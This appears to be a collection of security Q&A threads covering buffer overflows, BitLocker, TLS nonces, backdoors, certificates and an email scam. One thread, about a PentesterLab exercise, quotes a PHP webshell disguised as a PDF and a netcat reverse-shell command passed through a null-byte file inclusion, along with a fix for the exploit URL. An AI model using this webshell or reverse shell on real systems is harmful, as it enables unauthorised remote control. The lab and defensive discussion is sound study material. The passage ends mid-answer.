Why is this not a buffer overflow? I'm actually busy with learning more about buffer overflows. I read some interesting tutorials and just got the basic idea behind it. I tried to produce a vulnerable c++ file to test my knowledge against it, but it seems like I missed some of the concepts...

My code is the following:

   #include <iostream>
/* run this program using the console, or add your own getch, system("pause"), or input loop */

int main(int argc, char** argv) {

    char xx[20];
    char yy[20];
    std::cin >> xx;
    std::cout << xx << std::endl;
    std::cout << yy << std::endl;

}

In my opinion I should be able to write with a 21 Char-Long String in "xx" over the data in "yy". But "yy" is still full with some random chars ('cause no initialization) and not with the overflowing content of the variable "yy".

Could you tell me why this is happening?

Thanks in advance!

You have to check the addresses of the char arrays, because your assumption that yy starts right after xx in memory is not necessarily true. I modified your code a bit so that it prints the addresses:

#include <iostream>

int main() {

    char xx[20];
    char yy[20];

    std::cin >> yy;

    std::cout << "xx: " << xx << std::endl;
    std::cout << "yy: " << yy << std::endl;
    std::cout <<std::endl;
    std::cout <<std::endl;
    std::cout << "Addresses: " <<std::endl;
    std::cout << "Address of xx: " << &xx << std::endl;
    std::cout << "Address of yy: " << &yy << std::endl;

    return 0;

}

In the output you can see that in my case yy actually came before xx in memory. The addresses show that they are 32 bytes apart. So by typing 33 chars into yy I was able to overwrite the first byte of xx. As you can see in this output below:

012345678901234567890123456789012
xx: 2
yy: 012345678901234567890123456789012

Addresses:
Address of xx: 0x7fff31b68b50
Address of yy: 0x7fff31b68b30

Please also note that this may be completely different on your machine.


BitLocker Encrypted Hard drive without UEFI/BIOS Password set? My laptop is encrypted with BitLocker with TPM-Only protection and Secure Boot is enabled. Since I do not have any UEFI password set to prevent changes to the UEFI firmware settings, will an attacker still be able to read and access the encrypted hard drive? My recovery key is stored in a secure place away from the laptop. I am the only user using the laptop.

I just need to prevent my data from being read and accessed.

So my question is, even without setting a UEFI/BIOS password, can the encrypted data be read on the hard drive?

Of course, an attacker can just change the UEFI/BIOS settings, disable Secure Boot, and boot from a malicious program. But, will the attacker still be able to read the contents of the encrypted hard drive?

Thanks!

The information you provide is not really sufficient for an exact determination.

An encrypted HDD should be generally secure, but the Bitlocker itself is not. Its encryption proved to not even actually work in some scenarios.

Depending on the correct implementation, the hardware it is used on and vulnerabilities like CVE-2018-12037, CVE-2018-12038, using bitlocker can be safe or NOT.

Regarding the UEFI password relation, Bitlocker blocks operating systems from accessing certain volumes and needs password decryption but it existed before UEFI and its information is typically stored on a Windows System or Recovery partition, therefore independent, while secure boot blocks untrusted operating systems from booting.

As a conclusion, setting or not an UEFI password does not influence how functional (or not functional) Bitlocker is.

If Bitlocker initially worked correctly and the encryption was actually done, no, attackers cannot access it.


What did the Author mean by saying "Bluetooth does not provide native user authentication." I was reading an article on Bluetooth security (see citation below), and in the introduction the authors writes:

"Bluetooth specifications provide for three basic security
services: -

Authentication: verifying the identity of
communicating devices based on their Bluetooth
device address.

Bluetooth does not provide native
user authentication. "

What do they mean by that? I had trouble understanding what they were trying to say by "native user authentication".

Tsira, Vikethozo & Nandi, Gypsy. (2014). Bluetooth Technology: Security Issues and Its Prevention. International Journal of Computer Technology & Applications. 5. 1833.

This means that if you connect Bluetooth device A to device B then device B can be sure that A is really A, but cannot tell that the user of A is who he or she claims to be. If you need B or the user of B to be certain of the identity of the user of A then you will need an additional layer i.e. one that is not native to Bluetooth.


How do you log into Amazon Web Services if you lose your phone which has Google 2-factor authentication set up? And if it is possible, how do you prevent other people from claiming they are you and lost their phone?

Amazon only directs you to a page which does not exist.
http://aws.amazon.com/iam/faqs/

  If the authentication device associated with the AWS account is
  damaged, lost, stolen, or stops working, you will need to contact us (http://aws.amazon.com/foms/aws-mfa-support/)
  for help with disabling AWS MFA for the account. This will allow you
  to temporarily sign in to AWS using just the user name and password
  for the AWS account.

You fix the typo in the url

  https://aws.amazon.com/forms/aws-mfa-support/

(notice the 'r' in 'forms' that was previously missing


How can I limit which key sizes and signature algorithm of the next certificate in the certificate chain are allowed? I have walked through the different fields of x509 certificates and came across some fields which enable to limit the usage of the certificate (for example for certain domains). Is it possible to limit which   public key sizes  and signature algorithm of the next certificates in the certificate chain are allowed?

These kinds of policies come from the Certificate Practise Statement of the CA signing a request and should not live in the fields of a CA certificate.

If you don't want e.g. < 3000 bit keys in child certs, the correct approach would be to refuse to sign a request that does not comply with minimums rather than expect the client to interperet a policy encoded in the CA's certificate.
In contrast, the signature algorithm and hash size are set by the CA when the signature is generated, so this is entirely down to the configuration of the signing process used.


How do backdoors work? I always hear about backdoors and I understand the main purpose but I have some questions:

In what kind of software/web application/OS can I find them ?
How can I recognize one ?
How do I prevent them ?
Is the analogy good to compare them to have root access (in a Linux way) ?
Any more relevant information about them.

In what kind of software/webapplication/OS can I found them ?

Literally anything.

  How can I recognize one ?

By reverse engineering the software and carefully analysing it for flaws in authentication and access control, as well as issues with memory access in native applications. It's the same process by which you'd find any other vulnerability. This is not a trivial task, and entire books have been written on the subject.

If you're looking to know the difference between a generic security vulnerability and a backdoor, the difference is the intent of the programmer who put it there. You have to find evidence and use intuition to identify if it was purposeful or not. Usually this is not a yes/no answer.

  How do I prevent them ?

You basically can't. You just have to expect software to be broken and have a plan to (a) keep things up to date, and (b) deal with it should there be a breach. It's not about if, it's about when.

  Is the analogy good to compare them to have root access (in a Linux way) ?

Not exactly. A backdoor is anything that provides a lesser-authorised user to gain access to something they shouldn't. The backdoor might allow full access to an unauthenticated user, or it might allow some limited access to an unauthenticated user, or it might allow an authenticated low-privilege user to gain access to something at a higher privilege level.

  Any more relevent informations about them.

There isn't much, really. Backdoors are just intentional faults put into code to give someone access outside of the normal security model.


Failed to connect to netcat reverse shell I am doing an exercise of PentesterLab, I've got a webshell called 1.pdf, and it can be included in index.php as a PHP file. It contains code like this:

%PDF-1.4
<?php
echo system($_GET["cmd"]);
?>

Now I want to create a reverse shell using nc with following commands, but it does not work properly:

index.php?page=uploads/1.pdf%00&cmd=/bin/nc 192.168.117.128 8001 -e /bin/bash

If I input commands at 192.168.117.128 then enter, nothing was output.

While, if I run the following commands directly in the VM(the target server), it connects to the attacker properly:

/bin/nc 192.168.117.128 8001 -e /bin/bash

Output of commands are properly echoed at 192.168.117.128

I wonder why netcat works in VM properly but does not work in webshell?

Anyone's help is appreciated, thanks.

Put your cmd parameter before the null byte injection in the exploit URL. Null will cause your query string to terminate early.


Custom font protection? I have a custom characters that to most people it appears as chinese, arabic or just some random symbles, it is a simple way I make sure that my written notes are readable just by need.

I have grown fond of my chacters and made them into a font with www.fontlab.com (a software to make font).

I have set up my system font to my custom font, in firefox preference deselected "allow pages to choose their own font..." and set my font in firefox preferences (preferences > content > fonts & advanced).

My computer is encrypted and I am the only one who access it, if anyone where to have access to it, in matters of seconds they easily be able to decrypt (for lack of better word) my characters.

But my main concern is, applications, especially web applications. Just like panopticlick demostrates with some javascript websites would be able to access a lot information about the system including "System Fonts", just how much access they have? How could I protect my characters?

TL;DR: your "encryption" system is weak and will only hold as long as nobody interested in cracking it.

Remote systems on web only have access to list of names of your installed fonts through JavaScript, so you actual font file with glyphs is safe from generic attempts to obtain such a font.

However if you come under targeted attack, I can think of several options to get it. Easiest will be to choose your font for text in some graphical environment (DOM canvas, Flash), write big repertoire of characters with it and then submit bitmap snapshot of the surface to attacker's server.

BTW, I understand that you use a simply replace some alphabet letter-for-letter with your glyphs? Such a scheme is very weak and some people can involuntary crack it by just looking at it, so it is hardly recommended to encrypt any sensitive data, and according to your worries, it seems that data is indeed sensitive.


Which of the fields represents the digital signature value of the CA in a certificate? Normally a CA signs the certificate with its private key and produces the digital signature. The digital signature value will be displayed in the certificate.

My question is: what is the field name that shows digital signature value of the CA?

The name of the field is Certificate Signature Value.

For example, this site SSL certificate for : ssl333133.cloudflaressl.com has the value :

Size: 72 Bytes / 576 Bits
30 46 02 21 00 b7 76 6a 60 32 00 4b 76 49 92 8f
cb 1a b5 d7 64 55 37 fb 81 0c 65 23 1e 80 b5 a1
e5 1b 7a 7c 5e 02 21 00 a5 22 6e 4e fe 3a b4 4e
15 72 e1 d9 48 c8 b5 4a 3e 63 5f c4 d5 34 e7 e6
6e 87 55 89 8c 28 11 cf


Priming an IDS/IPS for an impending attack Is there a system which can put an IDS/IPS in "high alert" mode if there information about a suspected impending attack in the near future (obtained from an external system)? I would like to know if this idea makes sense and which sorts of attacks would benefit if handled this way?

Most IDS/IPS allow you to write your own rules , for example snort rules. So if you have indicators from a 3rd party then adding them in as custom rules is one option.


How can I help catch an email scammer who is contacting me? My friend's GMail account was recently hacked and the perpetrator sent out one of those classic "help I was mugged, I need money" style e-mails. (Edit: I know it's legit; my friend called me to tell me she'd been hacked.)

I figured this would be a fun experiment. This is perhaps more suited for a forum, but I have the most faith in this community.

The text is below. I'd appreciate suggestions on the best way to catch this person or coax them into providing more information for me to track them.

Update: The address given appears to be the Hilton at the Madrid airport. Anyone know who I can contact?

Edit: To clarify -- Account recovery is ongoing, but if he's going to keep her account, I figured I might try to catch him.

The perp's first message:

  Hello, How are you faring? I hope my email finds you in good
  condition. I'm really sorry for this emergency and for not informing
  you about my urgent trip to Maldrid Spain but I just have  to let you
  you my present predicament. Though everything was fine until I was
  attacked on my way to the hotel.  I wasn't hurt but I lost my money,
  bank cards, mobile phone and my bag in the course of this attack. I
  have immediately contacted my bank in other to block my cards and also
  made a report at the nearest police station.

  Meanwhile, I have also thought it expedient for me to confide this in
  you and I will be glad to have it confidential between us. I'm
  physically ok and fine but I'm urgently in need of some money to
  complete my major aim of being here and to balance my bills till my
  departure next weekend. Can you please lend me a sum of  2500 euros or
  any amount you can afford to lend out? I will refund you even with
  interest upon my arrival back home.

  Kindly let me know if you would be able to help me out with the money
  or any amount you can afford, I can then forward you the details
  require for a wire transfer via the western union money transfer
  service. I don't yet have a local phone (still gathering my bearings
  and such), so email is probably the best form of contact for now.

  I will expect your response soon.

My response:

  Hi [Friend's Name],

  I'm so sorry that you've run into financial trouble! I hope the police
  help you find your attacker. The world can be scary when traveling
  abroad.

  I think I might be able to lend you the 2500 Euro worth, as long as
  it's temporary. No need for interest.

  What should I do as a next step?

  Hope you're able to get a phone set up soon. Either way, good luck and
  please let me know how I can help!
  -- [My Name]

Their Response:

  Hello [My Name],

  Thank you for the concern and help, I sent the message to you because
  I believe I can confide in you and make this personal till I get back
  to my feet. I will so much appreciate it if you are able to lend me
  the sum of money needed. I will refund you soon as I get back home.

  I was able to find out how you can transfer money to me Via Western
  union Money Transfer because I put a temporary stop on my Accounts,
  all I need is my passport to receive the money here in Spain. There is
  a western union here in the airport.

  You will need the details below at western union to make the money
  transfer :

  Name  :   [Friends Name] Address:  Avenida de la Hispanidad,
                    s/n, 28042 Madrid, Spain

  As soon as you're able to complete the transfer, Please email me with
  the necessary details to receive the money and also let me know how
  you want the money refunded to you so I can make the arrangements to
  get it to you as soon as I get back home. Please Write back Soon.

  Thanks

Next steps?

Forget about it, just report to police (local and in Spain) and let them deal with it.


How to secure infected all-in-one pc? Got infected by a malware/virus by downloading and opening a .doc file in an email attachment, when restarting the machine it failed on boot several times, I used recovery mode to fix boot issue but then I realized that I have to wipe the disk so I reinstalled Win 10 using the second option that format the drive and makes hared to recover files, this option is called "remove everything".

When searching on the internet I found that this feature format the disk and replace every bit with 0 so I assume it's safe to use that machine again but I still have some doubts, I have no idea of how advanced the virus was.

I can't change the machine because I do not have enough money to buy another one, what are my options to stay safe from another infections and how to be sure there's no risk using the actual machine?

What I've done so far:

Installed free Norton AV on Win 10 - run full scan all clean
Installed Kaspersky Virus Tool Removal it can search on system memory, boot sector, startup objects and recovery partition
Dual-boot with Ubuntu 17
VPN on both os
Router  config (mac address filter, no upnp, new ssid name/pass, new admin
account)
Sometimes I use Tor but if my machine is still infected it's
really worthless
For banking I changed my credentials on android
phone and if pc needed I run Tails on top of Ubuntu

Some other thoughts:

I'm using a Surface pro 4 that comes with a thing called secure boot and basically it looks for signatures or something like that before launching the os, it was enabled the moment I opened the virus, can still the BIOS get infected?

This machine comes with a lot of components, how hard is to install a virus on firemware of ssd, camera, sensors, gpu, ect?

I know the actual setup is pretty safe since I received another file attachment and suspicious links from the attackers. I did not bother to click on that.

I really appreciate any kind of help.

It's technically possible to infect firmware, but difficult. It happened in some attacks by state actors. edit: UEFI rootkits generally require privileged access to install.

Since whatever malware you got just broke your OS, rather than do something worse (spy on you or encrypt your files for ransom), it's extremely unlikely that it's been created by someone competent enough to attack firmware.

Assuming your firmware hasn't been compromised (more than 99% likely), you just need to format the drive and reinstall the OS, which you've done. A more paranoid option would be to reinitialize the disk to make sure the GPT is clean (one of the tools that does it is Secure Erase). However, Secure Boot is supposed to protect against exactly such GPT bootkits.

As for how to prevent this from repeating, just follow best security practices. Work under a non-admin account, open random files using Word's default read-only mode or not at all, keep some defensive software running.


Central authentication I am designing a system composed of several services. Some can be hit only from inside our network and a few can be hit externally. One of these services is a "login" or "authentication" service.

My thought is that a user will log in with a username/password to be sent to the authentication service. That service will return some kind of auth token that grants access to the other services bound by the privileges given to that user.

What are the best practices for securely designing such an infrastructure? Any resources you recommend for more in depth reading?

It sounds like you want something like Kerberos.  The short version of what Kerberos does is it lets a single server be responsible for authentication and then generates a Ticket Granting Ticket for the user that can be used by the user for a period of time as proof that the user has verified themselves with the Kerberos server.

Services can then make a challenge against the TGT (ticket granting ticket) that the user has and the user can respond to the challenge to prove that they are the holder of the TGT and that the TGT originated from the Kerberos authentication service.  Thus, the service knows to allow the user access.


How valid is the concern over narrow pipe hash function designs? Narrow pipe hash function designs have recently come under fire, particularly in reference to some SHA-3 candidates. Is this criticism valid? Can it be explained more simply than this paper does?

I'm curious because I want to know if this is a criteria by which old hash functions can be evaluated as well.

In a very strict and narrow view, the narrow pipe criticism is a valid attack, in that it shows that a hash function with a 256-bit output size and a "narrow pipe" (running state no larger than the output) offers, at most, the preimage resistance that could be achieved with a hash function with an output of 255.34 bits. On a more practical point of view, this has no consequence whatsoever on actual security. Gligoroski offered this paper as an argument for wide-pipe designs, in particular his own proposal for SHA-3, called Blue Midnight Wish.

Aumasson, one of the designers of BLAKE, another SHA-3 candidate (a narrow-pipe design), said that this attack was of the kind "my-pipe-is-bigger-than-yours" and was not very serious. It is however quite telling that among all the research result on the 14 second-round SHA-3 candidates, the narrow pipe criticism by Gligoroski is probably the best known attack -- which means that all 14 functions are, as far as we know, quite robust. One can also note that for the 3rd round of the SHA-3 competition, BLAKE was selected, but not BMW.

MD4, MD5, SHA-1, SHA-256 and SHA-512 are narrow-pipe designs and nobody misses a heartbeat on that fact.

The reason this attack works (for very low values of works) is that a random function is not likely to have a 1 -> 1 mapping of inputs to outputs if it's a truly random function. In fact, the way the math works out, a perfect random mapping would only produce 1 - 1/e of the possible output space. This works out to 0.632 or so, and since a little less than half the outputs won't happen, reduces the difficulty of finding a pre-image by a partial bit (a full bit would be if half the outputs wouldn't happen).

As you can see, this is purely theoretical and frankly rather silly.


What do the various browser "private modes" do? Recently there has been some disagreement as to what "private mode" means when it comes to various browsers.

Primarily I am referring to...

IE's "InPrivate Browsing"
Google Chrome's "Incognito Mode"
Firefox's "Private Browsing"
Opera's "Private Window"
Safari's "Private Browsing"

What does "privacy mode" mean to these browsers? By that I mean, what tactics do/don't they typically take?

They are meant to clear a part of your browser history that is in this so called "private" session and to separate that session from previously existing sessions as well. Things in this session won't be stored after you leave the session.

This is not a 100% foolproof method however:

They will still be able to track you based on your IP-addresss and your screensize, System Fonts, Browser Plugin Details, etc (see: https://panopticlick.eff.org/ ) You just don't store browserhistory including the caches and cookies in your browser after you leave the "private session".
People will still be able to track you, when you are not careful enough with using your known usernames. Think about moderators, your so called "friends", but also people who forget to set their privacy settings on Youtube and Facebook for example. The default setting is that everyone can see what videos you watched and what you shared.

So it doesn't protect from human stupidness, like giving your "Lulzsec" hackerfriends all your personal information:
http://www.foxnews.com/scitech/2012/03/06/hacking-group-lulzsec-swept-up-by-law-enforcement/
So it doesn't work when you threating to blow up a school on twitter. No matter whether your "private modes" is enabled or not. http://www.ajc.com/news/student-arrested-for-threatening-1398649.html

It doesn't protect against geolocation data. For example when you forget to turn off geolocation, when tweeting an image that was originally taken with your mobilephone. Or when you accept to give your geolocation to a service like Google Maps.

So it doesn't protect from human stupidness like checking in to a location on Facebook, when you are on the run: http://www.abc15.com/dpp/news/region_southeast_valley/chandler/oregon-fugitive-caught-in-chandler-after-facebook-check-in

Is not a protection against viruses, keyloggers, screenloggers and other malware. And hacker who gains access to your the server or your credentials can still access some of your private information on sites you visited.
In the past there were some problems some cookies - like the Flash Super cookies -  still being able to track you in this private mode. This issue has been resolved since then. http://lifehacker.com/5470515/flash-finally-adds-support-for-private-browsing


How to ensure same BCrypt hash on different platforms? Do I get it right that BCrypt hash depends on implementation? I'm using jBCrypt on client side (android)  and spring-security-core BCryptPasswordEncoder on server side (with the same strength=10) and I expected hashes to be identical but they are not.

My intention was to hash password in HTTP request body and only compare the strings on server side. Does it makes sense from security point of view?

My intention was to hash password in HTTP request body and only compare the strings on server side. Does it makes sense from security point of view?

Not really. While it makes it harder for someone to gain the clear text password, they don't have to. But an attacker won't have to care about the password. They can pass the hash. The hash is effectively the password, stored in clear text, in this scenario!

If users are perfect, and use unique, strong password, this would be equal to storing the passwords in clear text. As users are not perfect, and reuse passwords, it'd be a bit better than storing them in cleartext in real life. But not for your application.


Why doesn't CSP block JS from modifying an element's style? You can use Content Security Policy to disallow style attributes, but you can just get around this just by using javascript to modify an element's style. Isn't this a security hole or am I missing something?

You can use CSP to block specific sources of stylesheets, but not to disallow particular style attributes.  For example, you can disallow inline styles, or disallow remote styles, or both.  (If you set style-src: none, I guess it will be like HTML 3.)

If an attacker is executing JavaScript on your site, then you have much, much, bigger problems than their ability to modify the styles on your site.  They can hide entire elements (deleting them from the DOM), exfiltrate private data, and take actions as the logged-in user.

CSP is a defense-in-depth mechanism, and is not intended to be the primary trust boundary or control for any system.  When I am testing web applications, I report all attempts at script execution (even when blocked by CSP) as an XSS, though I do note those that are mitigated by CSP.  (Note the frequency with which CSP bypasses are found.)


Bank Has Emailed My Social Security Number I'm in the middle of getting a mortgage.  Just now, my bank sent over an e-mail (sent to my Gmail account) with a bunch of .pdf attachments of documents I'm supposed to sign and return.  The first thing I noticed is that many of these .pdf files were pre-populated with my personal information.  The .pdf files were not encrypted or password protected.

All sorts of personal information was in the documents - not just my SSN by my name/DOB/address/bank account numbers/etc/etc....

Before I go off the deep-end here, can we just confirm that there is no such thing as a secure e-mail with unencrypted text/attachments?  My understanding is that, best case scenario - they used TLS/SSL and it was encrypted in transit but that the encryption would only be between the sender and Google's server.  So, somewhere, at one of Google's data farms, there is a .pdf with all of my personal information in it, that is not encrypted or protected.  Does that sound about right?

In the message headers I can see

  Received...by mx.google.com with ESMTPS id.....(version=TLS1_2...)

So it seems it was sent with TLS, which is good.  But are the attachments/visible to my mail provider?

There is a way to safely encrypt email, but you would know (without looking at the headers) since there must be a way for you to authenticate yourself as the receiver.  If they put a signature cert on the email, that does not mean that it is encrypted, that only provides a way for you to confirm the identity of the sender.  The encryption must be performed in addition, usually in the form of an add-on to your email client or a server to server encryption in a business environment.  If there were any health questions in there, you could be looking at a HIPAA violation.  You should question the security practices of an entity if this is a normal practice.


Isn't a reverse TLS (reverse) proxy a security risk? So, after reading Wikipedia's article on reverse SSL/TLS Proxies, I totally get the advantages it offers. But doesn't it also pose a security risk, by basically being a "man in the middle"?

As a client, I cannot see whether the reverse proxies just encrypts the traffic between the client and itself and forwards all requests to the webserver over HTTP or if it does encrypt both directions.

And another question:
How can an SSL-Proxy achieve to break up a requested SSL/TLS connection, without being remarked either by the user nor by the TLS webserver itself?

In most cases in which a reverse proxy is deployed, the network behind it is assumed to be secure, in which case the fact that there is technically a man-in-the-middle is of no consequence.

However, some providers that use a reverse proxy do choose to secure the traffic behind the proxy using an IPSEC tunnel between the proxy and the content server(s). That way, the processing overhead of managing certificates, handling termination, and blocking unwanted traffic can still be done on the proxy server at the edge of the network, but a network compromise will still reveal no information.


Linux File Security when connected to internet Let me first admit that I am a nobody in computer security - I just know the various threats generally known to public.

I have a Linux Cent OS 7 installed on my computer which is connected to the Internet always - on my personal home network.

I download a lot of stuff like linux softwares, jar files, images, movies etc from the internet.

My question is : Just by connecting to the internet, is it possible for an outsider to steal my files ?
Well I know that it is theoretically possible, but I want to know what the outsider will have to do to "Steal" my files - especially when the linux computer is SE Linux enabled with "enforcing" option and the firewall is on.

How easy or hard it is to do this for an outsider ( a remote computer user who is NOT on my network ?

( But i don't know more about the firewall configuration. )

And if you can guide me on any tools available to prevent any of such attacks it would be a real favor.

Thanks in advance.

There is no easy answer to this.
Some loose thoughts:

Is this system directly connected to the internet, or is there a router and or firewall between this system an the internet?

How strong are your passwords?

Is your filesystem encrypted?

Do you have ssh login enabled?
If so, from where?

Do you use twofactor authentication (google authenticator is free and very simple to implement)

What services does this system run which are listening to connections from the internet?

You could do some pen testing yourself
(https://www.kali.org)

Who else has access to this computer?

Is your system up to date?

Are you browsing potentially harmful websites?


Possible to create a self-signed certificate with AIA extension using PowerShell or openssl? I am able to use the PowerShell New-SelfSignedCertificate cmdlet to create a self-signed cert just fine, but I'd like to create one with an AIA extension and give it an OCSP responder URL.
There is a cmdlet parameter called -Extension, but the docs are limited and don't have examples:

The -TextExtension parameter looks even more promising, but looks like the AIA extension and values need to be ASN.1 encoded. I have no idea how to do that in Powershell!
There are some further docs that point to some C# classes here but I don't see AIA as an extension in the sample code.
I'm curious if:

Is it even possible to add an AIA extension and specify an OCSP URL in a self-signed cert?

Might not be possible as its typically an endpoint managed by the CA

If it is possible, how do I do it using PowerShell or openssl?

First, to be clear, PS New-SelfsignedCertificate does three things: it creates a keypair in the Windows store, it creates a selfsigned cert for that keypair, and it stores the cert with the keypair in the store. Although creating the cert is the more complicated step of this process, by itself it would be useless; the cert can only be used in combination with the privatekey from the keypair.
You can do it with PS. As you found, -TextExtension doesn't seem to have a text format for AIA and needs the value to be encoded; in general ASN.1 encoding can be moderately complicated, but this case (AIA containing single OCSP) isn't too bad if the URL is not more than 113 characters (assuming I've counted correctly):
$s=[System.Text.Encoding]::Default.GetBytes("http://myca/onlinestatus")
[byte[]]$t=(43,6,1,5,5,7,48,1)
$t=(6,$t.length)+$t+(0x86,$s.length)+$s
$t=(48,$t.length)+$t
$t=(48,$t.length)+$t
$e=[Convert]::ToBase64String($t)

New-SelfSignedCertificate -dnsname example.org -certstore cert:\currentuser\my -TextExtension ("1.3.6.1.5.5.7.1.1="+$e)

If you want to use the same OCSP for all (or at least multiple) certs, you can do the first block once, save the encoding and re-use it where needed.
Or with OpenSSL, probably. You can (definitely) use OpenSSL to create a self-signed cert containing extension(s) 5 ways, all of them including the AIA extension and OCSP element, and all of them either creating a new keypair or using an existing one:

directly, with
openssl req [-config $cfile] {-newkey $parms -keyout $kfile [-nodes]|-new -key $kfile}  [-subj $dname] -x509 [-days $n] [-$hash].
This can use extensions from the configfile or in 1.1.1 only specified with -addext, as per the man page which links to the man page for x509v3_config for extensions (v3 was the version of X.509 that first defined extensions). Here you want authorityInfoAccess=OCSP;URL:http://myca/whatever.

create a CSR containing the desired extension(s) with openssl req {as above through -subj} and then create a cert for that CSR using openssl ca configured with copy_extensions=yes (which is not the default at least if using upstream) and other settings and/or options as needed.

create a CSR which does not need to (and for clarity should not) contain the desired extension(s) and then create a cert for that CSR using one of the following which adds the extension(s):

   3A. openssl req [-in $file else redir or pipe] -key $kfile [-config $cfile] [-extensions $sect|-addext ...] -x509 [-days $n] [-$hash]
   3B. openssl x509 -req [-in $file else redir or pipe] -signkey $kfile -extfile $xfile [-extensions $sect] -days $n [-$hash]
   3C. openssl ca not configured with copy_extensions=yes
(Yes that format is bad; I spent about 15 minutes trying to get markdown to do it without success. If anyone knows how to do it right please edit.)
All of these are subject to the OpenSSL limitation that it uses only keys (and also certs) in PEM files and does not read from or write to the Windows store. If you want to use this keypair/cert with a Windows-based app like IIS, IE or Edge, or almost anything in dot-net by default, it won't work. You need to either (1) create the keypair and cert in OpenSSL, pack into a PKCS12 (aka PFX) with openssl pkcs12 -export, and import the PKCS12 to Windows or (2) create the keypair (and possibly a dummy cert) in Windows, export the key from Windows to a PKCS12 and convert to OpenSSL's PEM format, use OpenSSL to create the cert, and import the cert back to Windows.
But I don't know why you want to. No relier will ever use the AIA (either OCSP or caIssuer) on a selfsigned certificate. A selfsigned certificate is expected to be a root, and thus it cannot be revoked by its parent -- it has none. A selfsigned cert can only be trusted by manually adding it to the truststore (either systemwide or specialized) and can only be distrusted by manually removing it (or disabling it if the truststore supports that).


Can a hacker see me changing my router password? Let's say someone already knows my Verizon FiOS router password and has previously hacked me and maybe my computers at home. If I change my router password, couldn't they see me doing it and know what I'm typing in, thus being able to continually hack me?

If the attacker has managed to either (a) modify the software running on the router, or (b) infect the computer used to change the password, then yes, the attacker will be able to steal the new password you set.

If you suspect that both the router and the computer has been hacked, I would recommend the following:

Disconnect both the router and computer from the internet and each other.
Do a factory reset on the router and do a complete wipe and reinstall of the OS on the computer.
Connect the computer and router and reconfigure the router.


Are Sun/Oracle's SPARC processors invulnerable to buffer overrun exploits? We all use Intel architectures these days, in small part because Oracle has totally dropped the ball regarding SPARC CPU development. But with so many now saying that protection against viruses is largely futile, I am wondering if a revival of a different architecture entirely might be a good idea, especially one that keeps much of the stack inside the CPU's stacked overlapping register sets like the SPARC does. But would this solve the buffer overrun problem?

The problem with buffer overruns is that a buffer is overrun -- this is nonsensical, i.e. it is a bug, after which application code behaviour ceases to follow the pre-ordained plan.

The classical, let's even say primitive, method to exploit a buffer overflow is to overwrite the return address slot of a function, so that execution is derailed into a location that the attacker controls. This works only for stack-based buffers, and the industry has come up with various countermeasures to make exploitation harder for the attacker, e.g. canaries (to detect an overflow before using the return address slot) and ASLR (to make the jump less reliably controlled by the attacker).

The SPARC architecture includes register windows, which can be viewed as a dedicated in-CPU stack, kept outside of the main memory address space. Thus, it can be construed that SPARC are somehow "immune" to buffer overflows since the return address slot cannot be overwritten with a memory based access. However, this is not true, for the following reasons:

The register windows are only in limited number (at most 32 in the architecture definition); when the call depth exceeds the number of windows in the CPU, an exception occurs and a dedicated routine flushes some of them into RAM, to be loaded back at a later time. Thus, the windows really work as a cache over RAM; consequence is that a return address slot can still be overwritten in some cases.
There is more than the return address slot in life. Basically, any field that functionally contains a pointer to some code is a nice target for attackers. Object-oriented languages such as C++ are full of such slots, both on the stack and in main RAM (these are called vtables). The return address slot in only traditionally the main attacker target, because 20 years ago it was the easiest to reach. (A famous exploit that leveraged such non-stack function pointers after a buffer overflow was the PS3 Jailbreak.)
Any overwrite of data can be helpful to the attacker; though injecting his own code gives him the highest power, other kinds of overflow can still lead to successful exploitation. Think, for instance, of the heartbleed bug which was all the rage a few months ago; it made thousands of sysadmins and so-called security experts scream and run around in panic ("like headless chickens", as they say around here); and yet it was only a read overflow, where nothing at all was overwritten.

A crucial point is that all these canaries and ASLR and register windows are just ways to try to cope with the aftermath of the overflow. The application has still derailed, and data was still damaged. It would be much better to act a little bit earlier, and prevent the overflow from occurring. Ideally with rigorous compile-time analysis (possibly with the help of the compiler), or at least by blocking the overflow attempt at runtime, turning it into some exception: the application still stops functioning properly, but at least it does so cleanly, without blindly keeping on with damaged memory structures.

Thus, for defence against buffer overflows, the interesting technology acquired (and then killed) by Oracle is not SPARC, but Java.


According to RFC 5246, are nonces in TLS useless (in terms of security) and if yes, why aren't they only random data? I know the common usage of nonces in security (which is well described in this topic). However, when checking the SSL/TLS protocol, we can notice, according to the RFC,  that nonces as ClientHello.random and ServerHello.random are sent in plaintext and could be easily replayed by an attacker. Why are they still used in TLS1.2 then ? Are they only there for differentiating an user for another ? They are actually no challenges performed with them.

I am here mentioning the specific case of SSL/TLS (TLS1.2), and would like to know if, in this case, the usages of their nonces have an impact on the security at any step of the protocol. If not, why has it been introduced ?

The accepted answer to this question describes why, when using  the specific case of TLS/SSL, nonces aren't needed as strong authentication is used on the channel, so are they actually useless in the protocol ?

EDIT :

1) Nonces (date + alea) are sent in plaintext, we can therefore consider them as public data for a user, since any attacker could get them by listening the exchanges between the client and the server.

2) Considering 1) and the fact that the RFC specifies nowhere if we have to check the nonces at any step of the protocol, the replay attack is still possible.

Therefore, why shall we take these data as security parameters if they are "public" ? If they are not security parameters, are there usages limited to an identifier of the client/server ?

Nonces do not require secrecy. The virtue of a nonce is to occur only once, not to be unknown to outsiders. The fact that the client random and server random are sent as cleartext does not prevent them from being "nonce".

The actual "nonce" is the concatenation of the client and server random. This is explicit in several places, especially in section 6.3 of RFC 5246, which deals with key computations: the symmetric keys used for encryption and MAC of application data are derived from a combination of the "master secret" and the concatenation of both randoms:

  key_block = PRF(SecurityParameters.master_secret,
                  "key expansion",
                  SecurityParameters.server_random +
                  SecurityParameters.client_random);

The two random values will also occur in the computations for the CertificateVerify and Finished messages, since both use a hash value computed over all the previous handshake messages, which includes the two "hello" messages and the random values they contain.

So the client random protects itself by sending a new client_random: whatever happens on the wire, the client will use the random value it sent for key computations. Similarly, the server protects itself with its server_random. To see how the protection works, consider a replay attack: the attacker observed a handshake between a client and a server, and then wishes to replay the same handshake with the server, thereby impersonating the client. The attacker observed this:

ClientHello (ch1)            --->
                             <---        ServerHello (sh1)
                                         Certificate (c1)
                                         ServerHelloDone (shd1)
ClientKeyExchange (cke1)     --->
ChangeCipherSpec
Finished (cf1)
                             <---        ChangeCipherSpec
                                         Finished (sf1)

